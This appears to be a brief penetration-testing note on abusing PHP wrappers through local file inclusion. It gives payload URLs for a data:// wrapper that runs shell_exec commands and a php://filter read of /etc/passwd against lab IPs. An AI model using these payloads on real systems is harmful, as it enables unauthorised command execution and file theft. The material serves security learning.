PHP Wrappers
PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion. These filters give us additional flexibility when attempting to inject PHP code via LFI vulnerabilities.
Identifying Vulnerability
http://192.168.112.132/menu.php?file=data:text/plain,helloworldIF this payload return helloworld then we can use php wrappers to execute php commands too
Executing commands
http://192.168.112.132/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>php filter
Another PHP wrapper, php://filter in this example the output is encoded using base64, so you’ll need to decode the output.
http://192.168.155.131/fileincl/example1.php?page=php://filter/convert.base64-encode/resource=../../../../../etc/passwdLast updated